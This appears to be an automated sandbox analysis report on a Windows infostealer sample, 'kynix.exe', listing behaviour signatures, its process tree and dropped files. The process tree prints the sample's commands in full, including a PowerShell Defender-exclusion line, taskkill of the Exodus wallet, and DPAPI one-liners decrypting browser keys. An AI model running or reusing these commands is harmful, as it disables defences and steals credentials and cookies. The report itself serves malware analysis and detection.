Analysis

  • user interaction
    yes
  • max time kernel
    36s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/07/2026, 03:49

General

  • Target
    kynix.exe
  • Size 43.2MB
  • Sample260718-edbdzaft7m
  • SHA256 762a4c3e622b245c2158ec072d24883608b30b1ca6f9ccaf187c50df2dfff9d1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kynix.exe
    "C:\Users\Admin\AppData\Local\Temp\kynix.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Users\Admin\AppData\Local\Temp\kynix.exe
      C:\Users\Admin\AppData\Local\Temp\kynix.exe C:\snapshot\Kynix_Bot\builds\b7fddf42\kynix.js --hidden
      2⤵
      • Checks computer location settings
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4668
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4904
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4480
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:1100
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3196
          • C:\Windows\system32\netsh.exe
            netsh advfirewall show allprofiles state
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4628
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3040
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2976
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\system32\reg.exe
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
            4⤵
            • Modifies registry key
            PID:2992
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4580
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            4⤵
            • Gathers network information
            PID:3832
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2868
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:3644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346580258.vbs""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1864
          • C:\Windows\system32\cscript.exe
            cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346580258.vbs"
            4⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:4728
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2676
          • C:\Windows\system32\net.exe
            net session
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4852
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:3844
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1920
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2124
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5064
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2364
              • C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                "C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2036
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  6⤵
                    PID:4436
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    6⤵
                      PID:2876
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4376
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Steam.exe /F
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1916
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3596
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM javaw.exe /F
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4612
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4016
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Exodus.exe /F
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2344
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANxX6+fhfJEvxyAxbfsni1Te6H2EIBS3Cdjb+s7i0lUCAAAAAA6AAAAAAgAAIAAAAOC9y5SsH6UEy/D+7vU8MVBuTKO50Kgq3/myUIkoGXssMAAAALB7EKfdKyRYqoGgnvLniCFAnAPzI+juz9/Nl+2uEuGPyFJguazqSI5DgxZPs7bdQkAAAACAHGvRah4MPgHsYVeLpfj8hOvh6+trCa9lJC8pmvMe0nPWpvJouAebPPs6r9w7dbnnQNwlim2KFbu3g03Ebmo1');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3084
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANxX6+fhfJEvxyAxbfsni1Te6H2EIBS3Cdjb+s7i0lUCAAAAAA6AAAAAAgAAIAAAAOC9y5SsH6UEy/D+7vU8MVBuTKO50Kgq3/myUIkoGXssMAAAALB7EKfdKyRYqoGgnvLniCFAnAPzI+juz9/Nl+2uEuGPyFJguazqSI5DgxZPs7bdQkAAAACAHGvRah4MPgHsYVeLpfj8hOvh6+trCa9lJC8pmvMe0nPWpvJouAebPPs6r9w7dbnnQNwlim2KFbu3g03Ebmo1');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1804
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAADb03/tKpKWCd3tk3Kx523Xgl8hTlOhWr7fm8j4ypG6wAAAAADoAAAAACAAAgAAAAzb7PCoG5hiQemqRRWjzcXIofgDIrdlblT1qwXB/C6OUwAAAAMB2Fky/mbX2n7bGleZFDNm8Ao2ZmaHOIbSOiZDN56eQQ1HNJqQthBsKITSeFd6sUQAAAAMPBiuntnNatia9rmnpPwYqpfyngFvkW/wEgW25shShqrD7TrmhRUaNVzWp+WrMDssgP5gGYo/BjR2IvZSs8lKA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4400
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAADb03/tKpKWCd3tk3Kx523Xgl8hTlOhWr7fm8j4ypG6wAAAAADoAAAAACAAAgAAAAzb7PCoG5hiQemqRRWjzcXIofgDIrdlblT1qwXB/C6OUwAAAAMB2Fky/mbX2n7bGleZFDNm8Ao2ZmaHOIbSOiZDN56eQQ1HNJqQthBsKITSeFd6sUQAAAAMPBiuntnNatia9rmnpPwYqpfyngFvkW/wEgW25shShqrD7TrmhRUaNVzWp+WrMDssgP5gGYo/BjR2IvZSs8lKA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3396
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:2544
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:4216

              Network

                    MITRE ATT&CK Enterprise v16

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                    Downloads

                    7sp5zqbzqj.zip

                    • Path C:\Users\Admin\AppData\Local\6004d46b9d097b13\7sp5zqbzqj.zip
                    • Size 4.2MB
                    • SHA256 a78f6f345e389baf5490410e6456ee9565bcba981c9359f141d39d67f2cc8a2a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 64B
                    • SHA256 da44db4b57fd9cd8d80189c91dac99ed593714bcc00baab083ee37781a4a1ff6
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 3eeddef35412c2fba73d2e671ff394c2533b8467817f666636941441faf06aac
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 e8f1393a9e1a21ef9c18231e6d1301624694e6036ec8ddf1234219eb96222a28
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_5ztyxcgc.r40.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ztyxcgc.r40.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    firefox_cookies_temp.sqlite

                    • Path C:\Users\Admin\AppData\Local\Temp\firefox_cookies_temp.sqlite
                    • Size 96KB
                    • SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    firefox_history_temp.sqlite

                    • Path C:\Users\Admin\AppData\Local\Temp\firefox_history_temp.sqlite
                    • Size 5.0MB
                    • SHA256 b0b1281a0064cdc1d4b30531f848c9dc7fcc03c406755cf5680a22347916a8dc
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    chromelevator.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                    • Size 2.1MB
                    • SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    cookies.json

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.json
                    • Size 339B
                    • SHA256 200eb5ec9549cd9fa71b9258085bfe52109bd05d92f5f71f6e2913c868e25930
                    • MD5 SHA1 SHA512 TLSH

                    cookies.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.txt
                    • Size 366B
                    • SHA256 ff6cd03b1565618102995099feac221c53a735b046c974b935bb0bbdb7f2439a
                    • MD5 SHA1 SHA512 TLSH

                    history.json

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\ho495kqa.default-release\history.json
                    • Size 489B
                    • SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
                    • MD5 SHA1 SHA512 TLSH

                    history.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\ho495kqa.default-release\history.txt
                    • Size 522B
                    • SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
                    • MD5 SHA1 SHA512 TLSH

                    system_check_1784346580258.vbs

                    • Path C:\Users\Admin\AppData\Local\Temp\system_check_1784346580258.vbs
                    • Size 212B
                    • SHA256 b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c
                    • MD5 SHA1 SHA512 TLSH

                    memory/1804-120-0x000002AF5FB70000-0x000002AF5FBC0000-memory.dmp

                    memory/2124-12-0x000001EAB44F0000-0x000001EAB4512000-memory.dmp